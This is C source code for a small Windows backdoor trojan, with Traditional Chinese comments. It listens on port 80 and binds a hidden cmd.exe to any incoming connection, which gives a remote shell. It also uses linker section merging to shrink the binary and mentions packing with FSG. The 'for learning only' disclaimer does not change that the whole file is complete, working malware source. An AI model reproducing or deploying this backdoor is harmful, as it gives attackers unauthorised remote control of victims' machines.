/**//*
1k(程式體積1kb)正向串連,零管道後門 By DNA32r
說明:
標準的命令列正向串連木馬雛形，僅供學習..
這裡只是簡單的示範一下..沒有添加進程隱藏功能
程式可以在Win9x,Win2k,WinXP,Win2k3上使用
程式體積只有1k(FSG壓縮一下會更小)
測試:
本地開啟NetCat等工具,串連遠端電腦80連接埠,會得到一個Shell
*/
#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint")
#pragma comment(linker,"/INCREMENTAL:NO /IGNORE:4078")
#pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=DNA32r /SECTION:DNA32r,EWR")
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#include <windows.h>
#define MasterPort 80 //串連連接埠
void Entrypoint()
...{
WSADATA WSADa;
sockaddr_in SockAddrIn;
SOCKET CSocket,SSocket;
int iAddrSize;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
char szCMDPath[255];
//-------------------
ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
ZeroMemory(&WSADa, sizeof(WSADATA));
//----初始化資料----
//擷取cmd路徑
GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
//載入ws2_32.dll
WSAStartup(0x0202,&WSADa);
//設定本地資訊和綁定協議
SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_addr.s_addr = INADDR_ANY;
SockAddrIn.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//綁定連接埠
bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
listen(CSocket,1);
iAddrSize = sizeof(SockAddrIn);
SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
//開始串連遠程伺服器
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE)SSocket;
StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket;
//建立匿名管道
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
//關閉進程控制代碼
closesocket(CSocket);
closesocket(SSocket);
WSACleanup();
//關閉串連卸載ws2_32.dll
}
